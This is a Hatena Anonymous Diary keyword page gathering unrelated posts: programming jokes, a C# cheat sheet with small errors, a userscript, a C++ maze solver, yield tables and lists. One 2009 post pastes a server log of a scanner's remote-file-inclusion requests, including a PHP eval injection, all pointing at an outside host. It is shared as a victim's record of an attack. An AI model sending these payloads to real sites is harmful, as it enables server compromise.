「.FR」を含む日記 RSS

はてなキーワード: .FRとは

2013-09-04

世代UI/UX

フォロー、フォロワー数はTwitter社が手動入力している - Togetter

これを見て、いろいろと考えさせられた。

普段我々プログラマHTMLやそれに類するものを書くときに、

ソースコードユーザに見られてもいいように、クラス名やIDをちゃんとしたり不要コメントを残さないようにしたりしているが(もちろんコーディングルール等もあるが)、ユーザがそれを見たときにどう思うかについては配慮が足りないのではないかと思った。

たとえば、

<span>1234</span>

というHTMLを見たら、手入力していると思われても無理からぬことだ。

巷ではUIだ、UXだと言われているが、次世代UI/UXはここまで踏み込むべきではなかろうか。

まりHTMLJavascriptソースを見たユーザのことを考えるべきではないかと。

先程の例でいえば、

<span id="hoge">
  <script type="text/javascript">
    $("#hoge").text("1234");
  </script>
</span>

としてやれば、幾らか誤解を回避できるのではないか

ちなみに、こんなとこにscriptタグ書いてるのは位置が対応している方が分かりやすいというユーザへの配慮である

ただし、これでもちょっと勘の良い人なら、"1234"ってテキストをただ出してるだけじゃないの?と思ってしまうだろう。

それならば、もうちょっと飾り付けすればいい。

<span id="hoge">
  <script type="text/javascript">
    var foo = String.fromCharCode(49) + String.fromCharCode(50) + String.fromCharCode(51) + String.fromCharCode(52);
    $("#hoge").text(foo);
  </script>
</span>

これだとどうだろう?ぐっと、それっぽさが増したのではないだろうか?

そしてこれが一番大事なことだけど、最初の例に比べて温もりが感じられるようになった。

これこそが、次世代UI/UXのあるべき姿ではないかと思う。

私は普段Rails(erb)を使っているのだが、

<span><%= "1234" %></span>

と書いたら、上記のようなコードが生成されるようになってくれると幸いである。

2012-09-18

http://anond.hatelabo.jp/20120918173309

書き捨て

https://github.com/tdtds/massr

bundle install --path vendor/bundle
Gemfile syntax error:
/h/massr/Gemfile:14: syntax error, unexpected ':', expecting kEND
	gem 'sinatra-reloader', require: 'sinatra/reloader'
	                                ^
/h/massr/Gemfile:16: syntax error, unexpected ':', expecting kEND
	gem 'pit', require: 'pit'
	                   ^

sudo gem install sinatra
Successfully installed sinatra-1.3.3
1 gem installed
Installing ri documentation for sinatra-1.3.3...

unrecognized option `--encoding=UTF-8'

For help on options, try 'rdoc --help'

ERROR:  While generating documentation for sinatra-1.3.3
... MESSAGE:   exit
... RDOC args: --ri --op /Library/Ruby/Gems/1.8/doc/sinatra-1.3.3/ri --line-numbers --inline-source --title Sinatra --main README.rdoc --encoding=UTF-8 lib README.de.rdoc README.es.rdoc README.fr.rdoc README.hu.rdoc README.jp.rdoc README.ko.rdoc README.pt-br.rdoc README.pt-pt.rdoc README.rdoc README.ru.rdoc README.zh.rdoc LICENSE --title sinatra-1.3.3 Documentation --quiet

アホか

2012-08-13

C#基礎文法最速マスター

1. 基礎
classの作成

プログラムclass記述します。たとえばSampleという名前classを作る場合、Sample.csファイル内に次のように書きます。(C#場合ファイル名とクラス名は同一でなくても良い。複数のクラスを書いても良い)

public class Sample {

}
Mainメソッドの作成

プログラムclass内のMainメソッドの先頭から実行されます。Mainメソッドは次のように書きます

public class Sample {

    public static void Main( String[] args ) {
         // 処理を書く
     }

}
Console.WriteLineメソッド

文字列を表字するメソッドです。

Console.WriteLine( "Hello world" );
コメント

コメントです。

// 一行コメント

/*
   複数行コメント
 */
変数の宣言

変数の宣言です。変数の宣言時にはデータ型を指定します。

// 変数
int num;
データ型

データ型です。C#データ型には値型と参照型とがあります。以下は値型のデータ型です。

// int(整数)型
int num;
// char(文字)型
char c;
// float(単精度浮動小数点)型
float val;
// double(倍精度浮動小数点)型
double val;
// bool(論理)型
bool flag;
// DateTime(日付)型
DateTime date;

以下は参照型のデータ型です。

// StringString s;
// 配列String[] array;
プログラムのコンパイル

プログラムコンパイルするには、コマンドラインで以下のようにします。

csc Sample.cs
プログラムの実行

プログラムを実行するには、コマンドラインで以下のようにします。

.net framework on Windows場合

Sample.exe

Mono.frameworkの場合

mono ./Sample.exe
2. 数値
数値の表現

int、float、double型の変数に数値を代入できます。int型には整数だけ代入できます。float、double型には整数でも小数でも代入できます

int i = 2;
int i = 100000000;

float num = 1.234f;

double num = 1.234;
四則演算

四則演算です。

num = 1 + 1;
num = 1 - 1;
num = 1 * 2;
num = 1 / 2;

商の求め方です。割る数と割られる数が両方とも整数場合計算結果の小数点以下が切り捨てられます

num = 1 / 2;  // 0

割る数と割られる数のどちらかが小数場合計算結果の小数点以下が切り捨てられません。

num = 1.0 / 2;    // 0.5
num = 1 / 2.0;    // 0.5
num = 1.0 / 2.0;  // 0.5

余りの求め方です。

// 余り
mod = 4 % 2
インクリメントとデクリメント

インクリメントとデクリメントです。

// インクリメント
 ++i;

// デクリメント
 --i;
3. 文字列
文字列の表現

文字列ダブルクォートで囲みます

String str = "abc";
文字列操作

各種文字列操作です。

// 結合
String join = "aaa" + "bbb";

// 分割
String[] record = "aaa,bbb,ccc".Split( "," );

// 長さ
int length = "abcdef".Length();

// 切り出し
"abcd".Substring( 0, 2 )   // abc

// 検索
int result = "abcd".IndexOf( "cd" ) // 見つかった場合はその位置、見つからなかった場合は-1が返る
4. 配列
配列変数の宣言

配列です。

// 配列の宣言
int[] array;
配列の生成

配列の生成です。配列の生成時には要素数を指定するか、初期データを指定します。

int[] array;

// 要素数を指定して配列を生成
array = new int[5];

// 初期データを指定して配列を生成
array = new int[] { 1, 2, 3 };

// 宣言と同時に配列を生成
int[] array2 = new int[5];
配列の要素の参照と代入

配列の要素の参照と代入です。

// 要素の参照
array[0]
array[1]

// 要素の代入
array[0] = 1;
array[1] = 2;
配列の要素数

配列の要素数を取得するには以下のようにします。

array_num = array.Length;
配列のコピー

配列の要素を別の配列コピーするには以下のようにします。

int[] from = new int[] { 1, 2, 3 };
int[] to = new int[5];

from.CopyTo(to, 0);
5. 制御文
if文

if文です。

if ( 条件 )
{

}
if ~ else文

if ~ else文です。

if ( 条件 )
{

}
else
{

}
if ~ else if 文

if ~ else if文です。

if ( 条件 )
{

}
else if ( 条件 )
{

}
while文

while文です。

int i = 0;
while ( i < 5 )
{
    
    // 処理
    
    ++i;
}
for文

for文です。

for ( int i = 0; i < 5; ++i )
{
    // 処理
}
for-each文

for-each文です。配列の各要素を処理できます

int[] fields = new int[] { 1, 2, 3 };

foreach (int field in fields)
{
    // 処理
}
6. メソッド

C#では関数メソッドと言いますメソッドを作るには次のようにします。戻り値を返却するにはreturn文を使います

static int sum( int num1, int num2 )
{
    int total;

    total = num1 + num2;

    return total;
}
9. ファイル入出力

ファイル入出力です。ファイル入出力を行うには、プログラムの先頭に以下を記述します。

using System.IO;

以下がファイル入力の雛形になりますファイルオープンや読み込みに失敗した場合catch節に処理が移ります

String filename = "text.txt";
StreamReader reader = null;
try
{
    reader = new StreamReader(filename);

    String line;
    while ((line = reader.ReadLine()) != null)
    {

    }

}
catch (IOException e)
{
    // エラー処理:

}
finally
{
    if (reader != null)
    {
        try
        {
            reader.Close();
        }
        catch (IOException e) { }
    }
}

またはC#ではusing ステートメントと言うものがあり、この様にも書ける

String filename = "text.txt";
using (StreamReader reader = new StreamReader(filename))
{
    try
    {

        String line;
        while ((line = reader.ReadLine()) != null)
        {
            // 読み込んだ行を処理
        }

    }
    catch (IOException e)
    {
        // エラー処理:

    }
}

usingをつかうとCloseがなくなったことからわかるようにusing(){}を抜けるとき自動的にDisposeメソッドを呼び出し、オブジェクトを廃棄する。その分コードスッキリするが、使いにくい場面もあるので考えて使うこと。

以下がファイル出力の雛形になりますファイルオープンや書き込みに失敗した場合catch節に処理が移ります

String filename = "text.txt";
StreamWriter writer = null;

try
{
    writer = new StreamWriter(filename));

    writer.WriteLine("abc");
    writer.WriteLine("def");
    writer.WriteLine("fgh");

}
catch (IOException e)
{
    // エラー処理:

}
finally
{
    if (writer != null)
    {
        writer.Close();
    }
}

こちらもusingを使って書ける。が、割愛する。

知っておいたほうがよい文法

C#でよく出てくる知っておいたほうがよい文法の一覧です。

繰り返し文の途中で抜ける

繰り返し文の途中で抜けるにはbreak文を使用します。

for ( i = 0; i < 5; ++i ) {

    if ( 条件 ) {
        break;    // 条件を満たす場合、for文を抜ける。
    }

}
繰り返しの残り部分の処理をスキップする

残りの部分処理をスキップし、次の繰り返しに進むにはcontinue文を使用します。

for ( i = 0; i < 5; ++i ) {

    if ( 条件 ) {
        continue;    // 条件を満たす場合、残りの部分処理をスキップし、次の繰り返しに進む。
    }

}
例外処理

例外を投げるにはthrow文を使用します。

throw new Exception( "Error messsage" );

例外処理をするにはtrycatch文を使用します。

try {

    // 例外が発生する可能性のある処理

} catch ( Exception e ) {

    // 例外発生時の処理

}

2011-10-11

天気2

本日はもう誰も何処にも 落ちない  もし黄色煉瓦の道を辿るならば

私は文章を書くことができない。

文章だけではない,大抵のことも満足にすることができない。

オズの魔法使いは何回も見たし,台風の日黒い犬のぬいぐるみ(但し冷たい)を抱いてベランダに出てみました。勿論そんなことはしません。

オズの魔法使いはL.Frank.Baumが遺したもの童話ではない。だから何も教訓等がなくてもいいのだけれども余りにも魔女理不尽ではありませんか。

西脇順三郎を知らないと言ったら父から嘲笑と哀れみの視線を戴いた。

もし生物がより優れた子,より強い子を後世に遺そうと生殖/繁殖を続けるのであれば私が生まれた意味は ないので は。

私は以上の通り脳が足りないのでいくら莫迦にされても構わないけれども「厨二病」という言葉はやめた方がいいと思う。

マジキチ」「厨二病」「パネェ」と安易に利用され過ぎるせいで本当にマジでリアルに気違って半端なく思い込みの激しい人の希少性とその素晴らしさが薄れてしまから。 ね。

そういえば家に帰ったドロシーは幸せだったのか。

2011-06-16

via http://b.hatena.ne.jp/torin/20110614#bookmark-46762850

もうTogetterは本人IDしかないまとめなら福本伸行風味に「ざわ…」を大量に背景表示する機能を実装すべき

Togetterが実装することはないだろうから、俺が作る。

// ==UserScript==
// ==/UserScript==
(function(){
  if (null != window.frameElement) return false;
  if (! location.pathname.match(/^\/li\//)) return false;
  window.addEventListener('DOMContentLoaded', function() {
    var curator = document.querySelector('div.balloon_box.info_prof div.balloon_img.tltip').getAttribute('title').toLowerCase();
    var tweeters = document.querySelectorAll('div.tweet_box div.status div.status_right a.status_name');
    var len = tweeters.length;
    var tweeter = '';
    for (var i = 0; i < len; i++) {
      if(curator != tweeters.item(i).textContent.toLowerCase()) {
        break;
      }
    }
    if (i >= len) {
      var data = 'data:image/png;base64,'+
        'iVBORw0KGgoAAAANSUhEUgAAAKQAAAA9CAYAAAAj3MLKAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAC'+
        'vUlEQVR4nO2YS27DMAxEffNerOteq0UDFEgXkinxMyN6FrOKYT0On5Ki18fX56UoLIEDKMp7Yl92'+
        'Xd9/SYWenFPFoCTtNuxFbyJkCjE7p4pByUuJKKHAErJ1UkXJEEJC9k66LNFSSMjeiX9hspTMQuoi'+
        'BHSYvZjoJbEKib4MXVK6oIglScjeKV+Sd1ESsncgi/IsS0L2DmxZuwuTkL1Td1CQlBKyd2oPC5BS'+
        'QvZO/YFOKauFHPF6g148azCHOpZUKWSWjBKTTEiPlN2ElJQkQu5KKSF7Bw/glHLlM0nJn9LS0am+'+
        'WFEX8El5jIzZi185y/Iseh4JKSHdu0DLJCGJFmY97+QZS4SsKIkhBTebQsjTxYQDrCwNzeUVstsl'+
        'fIyQJ0oZJWRUT+x9DedBA+yUjeayslbJ00lKOMBu2WguC2e1NKd0NZ0BDdClaI+QT+tqyo8G6FL0'+
        'jK3655S5p1t2NIC3aJayd4R8Yk+37GiALmWPmFC8jB2ZuNEAUWWjC5/9LCM4I8/OmGF4gdFyMRSe'+
        'yYNkjDg7Y45pP2ixMiRgYkGySUgiEVg42Jgi50rpCi1UpgwMDGzf2pFzpXS1W/ApYRASIWMrIdES'+
        'dRISJWOUkJHvsbyzrYgS8sz/RbYW8skyHi8kWp5uMjIsn5HJLSQakD0SMph5Vioajj0s39JWNnRf'+
        'Ju6T4dkWztQhG4+Z+2R4pmUzdcjGs8Q+GgANxhwJmcg+GgANxhqrjKgOmVi2+EdDoMEYsyIjokMW'+
        'DtcMo0HQYGy5Ew/dIdPFcM3BUOYJYRayi4yvWWYDoeFYYlk4qr9OMr7muRsMDQgtZ+FvRDYh0d1t'+
        'z2Mtv0syZEQJ2U3Gf0JKSruQ1ucRMkrIA+NZ+MrzktEp5FPE3F165POScUHIzlLuLj/j+Ugh0SKl'+
        'C6lwprOMr/nQAMrG0prK+JsfF3m2CCi6mVcAAAAASUVORK5CYII=';
      var div = document.createElement('div');
      var img = document.createElement('img');
      img.setAttribute('class', 'za-wa');
      img.src = data;
      function remimg() {
        var rem = document.querySelector('img.za-wa');
        if(rem) {
          window.setInterval(function() {
            rem.style.opacity -= 0.05;
            if (rem.style.opacity == 0) {
              document.body.removeChild(rem);
              return;
            }
          }, 100);
        }
      }
      function addimg() {
        var c_img = img.cloneNode(false);
        c_img.style.position = 'fixed';
        c_img.style.top = Math.floor(Math.random() * 100) + '%';
        var leftp = Math.floor(Math.random() * 100);
        if(leftp < 50) {
          leftp = Math.floor(leftp / 4);
        } else {
          leftp = 100 - Math.floor(leftp / 4);
        }
        leftp += '%';
        var ratio = (120 - Math.floor(Math.random() * 70));
        c_img.style.left = leftp;
        c_img.style.zIndex = -1;
        c_img.style.opacity = 1;
        c_img.style.width = (Math.floor(164 * ratio / 100)) + 'px';
        c_img.style.height = (Math.floor(61 * ratio / 100)) + 'px';
        document.body.appendChild(c_img);
        var r = Math.floor(Math.random() * 1000) + 1000;
        window.setTimeout(addimg, r);
        window.setTimeout(remimg, 2500);
      }
      addimg();
    }
  }, false);
})();

2010-08-27

はてな匿名ダイアリーの標準スタイルシートデコバッドノウハウ

pタグやdivタグclass要素を指定できるのでHTMLでそのまま記述する。

いつくかはてなダイアリーでの使用可能なはてな記法は無効になっており、例えばキーワードリンク無効記法が使えないためフォントカラーキーワードリンクの黒に潰されちゃうかんじ。

以下サンプル。アルファベットクラス名(自動アンカーついていててコピペしにくい。ソースみたほうがいいかも)。

アイコン


フォント


ブロック


おまけ

a.keywordcloud10 を空白で刻むことによってうざいかんじになる。荒し用。


よ か っ た で す ね 。

こ の エ ン ト リ を プ

リ ン ト ア ウ ト し て

病 院 へ 行 っ て く だ

さ い。

2010-07-09

ニコニコ大会議?

ニコニコ大会議2010夏 プレミアム先行にエントリー殺到! http://blog.nicovideo.jp/niconews/2010/07/008348.html

らしいけどなんなのwwww

どんだけ飼い慣らされてるんだろうw

(A)

ニコニコ大会議 http://www.nicovideo.jp/daikaigi

8/26 開場:18:00 開演18:30 →21:30までとすると3時間

¥5800

(Singer)

absorbhalyosy、that、is)

clear

けったろ

祭屋

タイツォン

蛇足

ぽこた

のある

野宮あゆみ

みーちゃん

らっぷびと

(Player)

事務員G

[Mint]

 [TEST]

 地味侍

 ショボン

 紅い流星

Singer= 13

Player= 5人

(B)

ライブ2009年12月

開場16:00、開演17:00、終演20:30 →3時間

\3500

(Singer)

ピコ

赤飯

recog

yonji

くりむぞん

Re:

疲れた男

ASK

祭屋

のある

野宮あゆみ

花たん

ルシュカ

サリヤ人

青もふ

halyosy

that

(Player)

事務員G

まらしぃ

[TEST]

ニケ

H.J.Freaks

色白

ショボン

あつし

ウサコ

(Dancer)

ゾンビーズ(withメイド隊)

13

暴君

kuu.

恐怖。

Ire

超監督

みどー

暴徒

47

阿部

DT-BOYS

Singer = 17人

Player = 9人

Dancer = 13人(組)

さて、(A)と(B)どっちに行きたいですか?wwwww

っていうかこれまでの他のライブを見ても大会議のレベルは異常www

#まぁ(A)も出演者が今後増えるだろうけど、増えればいいってもんでも。。w

2010-03-25

Re:日本の農機メーカーってガラパゴス進化代名詞なんですがね・・・

http://d.hatena.ne.jp/pal-9999/20100324/p1

こんな記事がはてBで話題になってて、読んでみたら、中身がsuckで頭に来たので、つらつらと書いていきますけどね。

で、救いようがないと思ったのが、この部分。

この人は、日本農業が、どこに強みをもっているか、まるで知らない事が、この一文で丸出し。日本農業技術は、狭い土地で多収穫可能になるような形で発展してきた。そのため、作物の品種改良や育成技術改良には非常に熱心で、単位面積あたりの収量という点では、小麦にしろ米にしろ欧米とは比較にならないくらい高い。

国際連合食糧農業機関(FAO)

FAOSTAT(http://faostat.fao.org/)より

米(t/ha)@2008
 1.Egypt		9.7309
 2.Australia		9.5000
 3.El Salvador		7.9373
 4.Uruguay		7.9025
 5.USA			7.6716
 6.Turkey		7.5716
 7.Korea		7.3942
 8.Peru			7.3567
 9.Morocco		6.9562
10.Spain		6.9209
11.Argentina		6.8277
12.Greece		6.7354
13.China		6.5558
14.Japan		6.4875

十分健闘していると思うが、それでも欧米より高いと思うのは間違い。アメリカよりも低いです。

小麦(t/ha)@2008
 1.Ireland		9.0629
 2.Netherlands		8.7297
 3.Belgium		8.3595
 4.United Kingdom	8.2813
 5.New Zealand		8.1120
 6.Germany		8.0873
 7.Denmark		7.8638
 8.France		7.1009
 9.Luxembourg		6.6616
10.Egypt		6.5009
:			
:			
31.Japan		4.1037
:			
:			
49.USA			3.0177

Europe全体 		4.0270

小麦に関しては、1haあたりの収量で、アメリカの12倍、EUの3倍に上る。

↑に関しては何を見たのか分かりませんが、そんなに差があるわけありません。EUには小麦食って生活している農業大国が沢山あります。世界市場という戦場で農業をもってして戦っている国々の収量が、兼業農家の収量に劣っているわけも無く。

普通に考えてみてください。アメリカの麦畑と日本の麦畑。同じ一区画に12倍も実っていたら、アメリカがしょっぼーいか、日本の麦が重みで折れるかどっちかです。ありえません。

ただ、はてブの方々が言うことにも賛成しませんが。日本農業自然環境特化型ではなく、保護政策の庇護による社会環境特化型。しかも大規模農家が極端に少なく、兼業農家ばかりで高齢化も進んでいる日本で、農業が衰退していくのは確実。となると日本の農機具メーカー海外に出るか、農機具メーカーをやめるか。携帯ガラパゴスとは違い、先は暗いガラパゴスです。

2010-03-19

ジョジョの奇妙な冒険名言集☆

ttp://www.gdh.fromc.jp/07.jojo/01.jojomeigenb.html

失敗というのは………… いいかよく聞けッ! 真の『失敗』とはッ! 開拓の心を忘れ! 困難に挑戦する事に無縁のところにいる者たちの事をいうのだッ! このレースに失敗なんか存在しないッ! 存在するのは冒険者だけだッ!

2010-03-05

obk - 2010fav01 http://www.zshare.net/audio/73295410617593de/

01.Ohnuki Taeko - Sargasso Sea

02.Jefrey Leighton Brown - Prayer fo Earth

03.Bismillah Khan - Desi Todi

04.Yotomi Afolabi - Baba Fona Han Mi

05.Mick Karn - Tribal Dawn

06.Alpha Bate - Astral Abuse.

07.Jose Mario Branco - Cuantos e Que Nos Somos

08.Meredith Monk - Scared Song

09.地下抵抗の歌<金冠のイエス>より - ハングル語のため解読不能

10.Carlos D.Alessio - India Song(Orchestre)

11.Brion Gysin - I am

12.13th Floor Elevators - Down By The River

13.Larry Carlton - Wevin' and Smilin

14.Edu Lobo - Uma Vez Um Caso

15.Stomu Yamash'ta's East Wind - Wind Words

16.O Sanmba E A Corda - Cartimba Criolo

17.Gilberto Sextet - Mozambique

18.The Stranglers - Golden Brown

19.Blaine L. Reininger / Mikel Rouse - Windy Outside

20.Mindless 021 - Pino Grigio (Lovelock edit) play at 33rpm.

21.Marcos Resende / Nivaldo Ornelas - Som E Fantasia

OUTRO.Francis Bebey - Heavy Ghetto

2010-01-14

http://anond.hatelabo.jp/20100114003544

34分

現役のときに比べて腕が鈍ってるなあ

ソースは汚いよ


同じところを二回訪れないことに注意して、次の状態をキューに入れていけばいいだけ

隣は距離1なのでただのFIFOでいい

重み付きのグラフならpriority queueを使う


dequeなんちゃらの前までが入力で、while の中が重要コード

答えはSとGも塗り潰しちゃったのを出力してる

サンプルの入力で最短距離であることを確認してる


増田できれいにC++を出力するにはどうすればいいんだろう?

#include <map&gt;
#include <string&gt;
#include <iostream&gt;
#include <vector&gt;
#include <iterator&gt;
#include <deque&gt;
#include <set&gt;

using namespace std;
typedef pair<int, int&gt; P;

int dir_x[] = {0,1, -1, 0};
int dir_y[] = {1, 0, 0, -1};

int main() {
  string line;
  vector<string&gt; input;

  while (getline(cin, line)) {
    input.push_back(line);
  }
  const int X = input.size();
  const int Y = input.begin()-&gt;size();

  vector<P&gt; start;
  P goal;
  for (int i = 0; i < X; i++) {
    for (int j = 0; j < Y; j++) {
      if (input[i][j] == 'S') {
        start.push_back(P(i, j));
      }
      else if (input[i][j] == 'G') {
        goal = P(i, j);
      }
    }
  }

  deque<vector<P&gt; &gt; Q;
  set<P&gt; visited;
  Q.push_back(start);

  while (!Q.empty()) {
    vector<P&gt; p = Q.front();
    Q.pop_front();

    if (visited.find(p.back()) != visited.end()) { continue; }
    visited.insert(p.back());

    if (p.back() == goal) {
      for (int i = 0; i < p.size(); i++) {
        input[p[i].first][p[i].second] = '$';
      }
      copy(input.begin(), input.end(), ostream_iterator<string&gt;(cout, "\n"));
      break;
    }

    for (int i = 0; i < 4; i++) {
      P next = P(p.back().first + dir_x[i], p.back().second + dir_y[i]);
      if (input[next.first][next.second] == '*') { continue; }
      vector<P&gt; new_state(p.begin(), p.end());
      new_state.push_back(next);
      Q.push_back(new_state);
    }
  }
  return 0;
}

2010-01-13

ttp://dvd.nicovideo.jp

ttp://commutents.fresheye.com/top.html

この二つ似ているな。

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&GLOBALS=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&amp;task=&amp;sectionid=&amp;id=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2009-07-25

女性差別(笑)

http://www.asahi.com/international/update/0724/TKY200907240216.html

まあ、女性差別はなくさにゃならんよーという所に同意はするけどさ、こういうニュースがあがってくると「だから日本ダメなんだ!」と喜色満面にブコメしてる連中キモいキモい事(笑)。ほんと「国家」とか「政府」とか巨大な存在を批判したつもりになってストレス発散するの好きだよなあいつら。

この「女性差別撤廃委員会」の委員の一覧はこれな。

http://www.un.org/womenwatch/daw/cedaw/members.htm

Ms.Ferdous Ara Begumバングラデシュ
Ms.Magalys Arocha Dominguez キューバ
Ms.Meriem Belmihoub-Zerdani アルジェリア
Ms.Saisuree Chutikul タイ
Ms.Dorcas Coker-Appiahガーナ
Ms.Mary Shanthi Dairiam(Rapporteur) マレーシア
Mr.Cornelis Flintermanオランダ
Ms.Naela Mohamed Gabr (Vice-Chairperson) エジプト
Ms.Françoise Gaspard (Vice-Chairperson) フランス
Ms.Ruth Halperin-Kaddari イスラエル
Ms.Tiziana Maioloイタリア
Ms.Violeta Neubauer スロベニア
Ms.Pramila Patten モーリシャス
Ms.Silvia Pimentel ブラジル
Ms.Fumiko Saiga日本
Ms.Hanna Beate Schöpp-Schilling ドイツ
Ms.Heisoo Shin韓国
Ms.Glenda P. Simms (Vice-Chairperson) ジャマイカ
Ms.Dubravka Šimonović (Chairperson) クロアチア
